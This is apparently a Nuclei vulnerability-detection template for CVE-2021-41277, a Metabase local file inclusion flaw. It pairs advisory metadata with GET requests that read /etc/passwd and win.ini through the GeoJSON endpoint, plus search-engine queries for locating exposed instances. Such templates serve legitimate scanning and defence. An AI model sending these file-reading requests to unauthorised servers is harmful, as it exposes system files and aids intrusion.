id: CVE-2021-41277

info:
  name: Metabase - Local File Inclusion
  author: 0x_Akoko,DhiyaneshDK
  severity: high
  description: |
    Metabase is an open source data analytics platform. In affected versions a local file inclusion security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded.
  impact: |
    The vulnerability can result in unauthorized access to sensitive files or execution of arbitrary code on the affected system.
  remediation: |
    This issue is fixed in 0.40.5 and .40.5 and higher. If you are unable to upgrade immediately, you can mitigate this by including rules in your reverse proxy or load balancer or WAF to provide a validation filter before the application.
  reference:
    - https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41277
    - https://twitter.com/90security/status/1461923313819832324
    - https://github.com/metabase/metabase/commit/042a36e49574c749f944e19cf80360fd3dc322f0
    - https://github.com/pen4uin/vulnerability-research-list
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41277
    cwe-id: CWE-22,CWE-200
    epss-score: 0.94353
    epss-percentile: 0.9996
    cpe: cpe:2.3:a:metabase:metabase:0.40.0:-:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: metabase
    product: metabase
    shodan-query:
      - "http.title:\"Metabase\""
      - http.title:"metabase"
    fofa-query:
      - "app=\"Metabase\""
      - title="metabase"
      - app="metabase"
    google-query: "intitle:\"metabase\""
  tags: cve2021,cve,metabase,lfi,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/geojson?url=file:///etc/passwd"
      - "{{BaseURL}}/api/geojson?url=file:///c://windows/win.ini"

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0"

      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 4a0a00473045022100b4f4a2b073c4bcc0972e5d3cfb4c052174c28cee4b6ca33e01baff00cd364f5402203dbd573d7501d5cc76caa15151353360de2e10f3fcade70f9484ca22d3dc3bd7:922c64590222798bb761d5b6d8e72950